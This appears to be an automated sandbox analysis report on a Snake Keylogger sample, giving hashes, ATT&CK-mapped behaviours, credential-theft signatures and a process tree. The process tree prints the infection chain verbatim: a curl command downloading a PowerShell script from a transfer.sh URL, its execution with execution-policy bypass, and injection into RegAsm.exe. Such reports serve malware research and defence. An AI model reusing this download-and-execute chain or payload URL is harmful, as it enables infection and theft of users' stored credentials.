snakekeylogger | 416293a2a049e175d85d418790035732eda8a055071d82d10f36a5bf6d9f246f

General

Target

File.js
Size

1024KB
MD5

e6ec998371e8e87c4fd54fab0753efd6
SHA1

78ffb07d87bdc791efdf6621df9a69552dc12a84
SHA256

416293a2a049e175d85d418790035732eda8a055071d82d10f36a5bf6d9f246f
SHA512

1beb3ac230a17cf5a383660447368744d8ce183edbf5eba27d6b466031cdde96025ea32ad14d8ae6be3f0535a6537e41d3b4ff09fadd6f27aca14e8b94f79bbf
SSDEEP

24576:NFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFo:

Score

10^/10

snakekeylogger collection keylogger spyware stealer

Malware Config

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4476-146-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral2/memory/4476-147-0x000000000042077E-mapping.dmp	family_snakekeylogger

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	wscript.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

22 checkip.dyndns.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4280 set thread context of 4476 4280 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeRegAsm.exe

pid process

4280 powershell.exe
4280 powershell.exe
4476 RegAsm.exe
4476 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 4280 powershell.exe
Token: SeDebugPrivilege 4476 RegAsm.exe

flow	ioc
22	checkip.dyndns.org

description	pid	process	target process
PID 4280 set thread context of 4476	4280	powershell.exe	RegAsm.exe

pid	process
4280	powershell.exe
4280	powershell.exe
4476	RegAsm.exe
4476	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	4280	powershell.exe
Token: SeDebugPrivilege	4476	RegAsm.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

wscript.exewscript.execmd.execmd.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 4960 wrote to memory of 2168	4960	wscript.exe	wscript.exe
PID 4960 wrote to memory of 2168	4960	wscript.exe	wscript.exe
PID 2168 wrote to memory of 2100	2168	wscript.exe	cmd.exe
PID 2168 wrote to memory of 2100	2168	wscript.exe	cmd.exe
PID 2100 wrote to memory of 5036	2100	cmd.exe	cmd.exe
PID 2100 wrote to memory of 5036	2100	cmd.exe	cmd.exe
PID 5036 wrote to memory of 2260	5036	cmd.exe	curl.exe
PID 5036 wrote to memory of 2260	5036	cmd.exe	curl.exe
PID 2168 wrote to memory of 4352	2168	wscript.exe	cmd.exe
PID 2168 wrote to memory of 4352	2168	wscript.exe	cmd.exe
PID 4352 wrote to memory of 4032	4352	cmd.exe	cmd.exe
PID 4352 wrote to memory of 4032	4352	cmd.exe	cmd.exe
PID 4032 wrote to memory of 4280	4032	cmd.exe	powershell.exe
PID 4032 wrote to memory of 4280	4032	cmd.exe	powershell.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe
PID 4280 wrote to memory of 4476	4280	powershell.exe	RegAsm.exe

outlook_office_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\File.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4960

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\GTA01.vbs"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2168

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/KUz0uB/GTA.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
3⤵
- Suspicious use of WriteProcessMemory
PID:2100

C:\Windows\system32\cmd.exe
cmd.exe /c curl https://transfer.sh/get/KUz0uB/GTA.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
4⤵
- Suspicious use of WriteProcessMemory
PID:5036

C:\Windows\system32\curl.exe
curl https://transfer.sh/get/KUz0uB/GTA.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
5⤵
PID:2260

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
3⤵
- Suspicious use of WriteProcessMemory
PID:4352

C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
4⤵
- Suspicious use of WriteProcessMemory
PID:4032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
5⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4280

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
6⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4476

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\GTA01.vbs

Filesize
111KB

MD5
ae6f5f99b79da73f4a5946b99638464c

SHA1
5dabcaf16267d88916091c8b969fab45e2780a2f

SHA256
839956f6240fdb2afed0556347dd1ecd8c375cbf5e8c017073bc87383e41a77d

SHA512
139210450bc7b580acb20a3f205ed15bb70ebc8779efbd5db31e8d77f8e37b396606d60ae87a8b8cce63e2a41666e54cec95d9a00f1959b96fa9047cb8624a8b

Download Submit
C:\Users\Admin\AppData\Roaming\rr.ps1

Filesize
3.4MB

MD5
a908a60eb1d2e84d13e9a557d622fa53

SHA1
a50946a87bbc482bbbef76b37e26e15eaedc6c57

SHA256
2d3c5571d27220d4bbc9547598eae6a8b843eaa31799f128428e155e94807341

SHA512
a5c411a82e0c46c58cacc3d3bcaf168d80e9188245f6fbdad50493a2e071c1d8301ecca4fa40df752e7f1548d138e3c7c4cc46ca66593bec584313de3c24e5d0

Download Submit
memory/2100-137-0x0000000000000000-mapping.dmp

Download
memory/2168-135-0x0000000000000000-mapping.dmp

Download
memory/2260-139-0x0000000000000000-mapping.dmp

Download
memory/4032-141-0x0000000000000000-mapping.dmp

Download
memory/4280-143-0x000002326A280000-0x000002326A2A2000-memory.dmp

Filesize
136KB

Download
memory/4280-142-0x0000000000000000-mapping.dmp

Download
memory/4280-145-0x00007FFCEE630000-0x00007FFCEF0F1000-memory.dmp

Filesize
10.8MB

Download
memory/4280-148-0x00007FFCEE630000-0x00007FFCEF0F1000-memory.dmp

Filesize
10.8MB

Download
memory/4352-140-0x0000000000000000-mapping.dmp

Download
memory/4476-146-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/4476-147-0x000000000042077E-mapping.dmp

Download
memory/4476-149-0x00000000059C0000-0x0000000005F64000-memory.dmp

Filesize
5.6MB

Download
memory/4476-150-0x00000000054B0000-0x000000000554C000-memory.dmp

Filesize
624KB

Download
memory/4476-151-0x0000000006740000-0x0000000006902000-memory.dmp

Filesize
1.8MB

Download
memory/4476-152-0x0000000006610000-0x00000000066A2000-memory.dmp

Filesize
584KB

Download
memory/4476-153-0x00000000065E0000-0x00000000065EA000-memory.dmp

Filesize
40KB

Download
memory/5036-138-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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